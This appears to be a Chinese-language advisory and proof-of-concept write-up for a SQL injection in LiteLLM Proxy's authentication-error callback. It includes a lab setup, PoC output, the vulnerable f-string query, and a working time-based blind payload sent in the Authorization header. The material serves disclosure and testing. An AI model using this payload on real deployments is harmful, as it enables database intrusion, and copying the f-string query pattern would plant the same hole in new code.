| 项目 | 详情 |
|---|
| 安全公告 | GHSA-r75f-5x8p-qvmc |
| 类型 | SQL 注入(CWE-89) |
| 严重程度 | 严重 |
| 受影响版本 | litellm >=1.81.16, <1.83.7 |
| 修复版本 | litellm >=1.83.7(提交 4dc416ee74) |
注入发生在错误处理回调路径中,而非主认证流程。当发送非 sk- 前缀的令牌时,断言失败,原始(未哈希)令牌会流经失败回调链,进入使用 f-string 插值的 SQL 查询:
HTTP 请求: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") 失败
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← 注入点
主 sk- 认证路径不可利用,因为令牌在到达查询前会经过 SHA256 哈希处理,仅产生 [0-9a-f] 字符。
docker compose up -d
这将启动带 PostgreSQL 后端的 LiteLLM Proxy(v1.83.3-stable)。
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL 注入 PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: 待定 ║
║ 受影响版本: litellm >=1.81.16, <1.83.7 ║
║ 攻击方式: 基于时间的盲注(通过错误处理回调) ║
╚═══════════════════════════════════════════════════════════╝
[*] 检查目标: http://localhost:4000
[+] 目标存活(状态码 200)
[*] 测量基线(3 个请求)...
基线平均值: 0.022s
[*] 对照组: 不含 pg_sleep 的非 sk- 令牌...
对照组: 0.024s
=======================================================
基于时间的盲注 SQL 注入(pg_sleep=5s)
=======================================================
载荷: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
响应时间: 5.018s
[+] 存在漏洞!pg_sleep(5) 已确认


PostgreSQL 的 pg_sleep() 返回 void 类型,无法出现在布尔上下文(OR)中。载荷将其包装在子查询中以避免类型错误:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
该载荷被注入到 litellm/proxy/utils.py 中的 combined_view 查询:
# 易受攻击的代码(<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← 用户输入的 f-string 插值
"""